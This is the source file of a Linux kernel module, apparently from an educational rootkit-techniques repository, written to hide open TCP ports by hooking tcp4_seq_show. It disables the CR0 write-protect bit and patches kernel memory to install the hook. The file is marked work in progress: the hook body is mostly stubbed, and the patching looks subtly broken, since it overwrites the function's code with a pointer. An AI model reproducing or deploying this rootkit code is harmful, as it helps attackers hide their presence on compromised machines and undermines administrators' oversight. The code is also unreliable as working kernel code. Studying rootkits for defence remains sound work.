Newer
Older
linux_kernel_hacking / 3_RootkitTechniques / 3.6_hiding_ports / rootkit.c
@Harvey Phillips Harvey Phillips on 29 Jun 2020 3 KB hiding ports wip
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/tcp.h>
#include <linux/proc_fs.h>
#include <net/tcp.h>

#define TMPSZ 150

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Hiding open ports");
MODULE_VERSION("0.01");

unsigned long * __tcp4_seq_show;

/* We have to save a copy of the tcp4_seq_show function the same way we save syscalls */
typedef asmlinkage int (*orig_tcp4_seq_show_t)(struct net *);
orig_tcp4_seq_show_t orig_tcp4_seq_show;

/* This is our hook function for tcp4_seq_show */
static int hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
	struct tcp_iter_state *st;
	struct sock *sk = v;

	seq_setwidth(seq, TMPSZ -1);
	if (v == SEQ_START_TOKEN) {
		seq_puts(seq, "  sl  local_address rem_address   st tx_queue "
				"rx_queue tr tm->when retrnsmt   uid  timeout "
				"inode");
		goto out;
	}
	st = seq->private;

	if (sk->sk_state == TCP_TIME_WAIT)
		//get_timewait4_sock(v, seq, st->num);
		printk(KERN_DEBUG "rootkit: sk->sk_state == TCP_TIME_WAIT\n");
	else if (sk->sk_state == TCP_NEW_SYN_RECV)
		//get_openreq4(v, seq, st->num);
		printk(KERN_DEBUG "rootkit: sk->sk_state == TCP_NEW_SYN_RECV\n");
	else
		//get_tcp4_sock(v, seq, st->num);
		printk(KERN_DEBUG "rootkit: else\n");

out:
	seq_pad(seq, '\n');
	return 0;
}

/* The built in linux write_cr0() function stops us from modifying
 * the WP bit, so we write our own instead */
inline void cr0_write(unsigned long cr0)
{
	asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}

/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which
 * determines whether read-only pages can be written to. We are modifying
 * the syscall table, so we need to unset it first */
static inline void protect_memory(void)
{
	unsigned long cr0 = read_cr0();
	set_bit(16, &cr0);
	cr0_write(cr0);
}

static inline void unprotect_memory(void)
{
	unsigned long cr0 = read_cr0();
	clear_bit(16, &cr0);
	cr0_write(cr0);
}

/* Module initialization function */
static int __init rootkit_init(void)
{
	/* Lookup the memory location of tcp4_seq_show and set
	 * the orig_ function to it */
	__tcp4_seq_show = kallsyms_lookup_name("tcp4_seq_show");
	orig_tcp4_seq_show = (orig_tcp4_seq_show_t) __tcp4_seq_show;

	printk(KERN_INFO "rootkit: Loaded >:-)\n");
	printk(KERN_INFO "rootkit: found tcp4_seq_show at 0x%lx\n", __tcp4_seq_show);

	unprotect_memory();

	/* Set __tcp4_seq_show to our hook */
	printk(KERN_DEBUG "rootkit: hooking tcp4_seq_show with 0x%lx\n", hook_tcp4_seq_show);
	*__tcp4_seq_show = hook_tcp4_seq_show;

	protect_memory();

	return 0;
}

static void __exit rootkit_exit(void)
{
	unprotect_memory();
	
	/* Set __tcp4_seq_show back to the saved original function */
	printk(KERN_DEBUG "rootkit: restoring tcp4_seq_show with 0x%lx\n", orig_tcp4_seq_show);
	*__tcp4_seq_show = orig_tcp4_seq_show;
	printk(KERN_DEBUG "rootkit: found tcp4_seq_show at 0x%lx\n", __tcp4_seq_show);

	protect_memory();
	
	printk(KERN_INFO "rootkit: Unloaded :-(\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);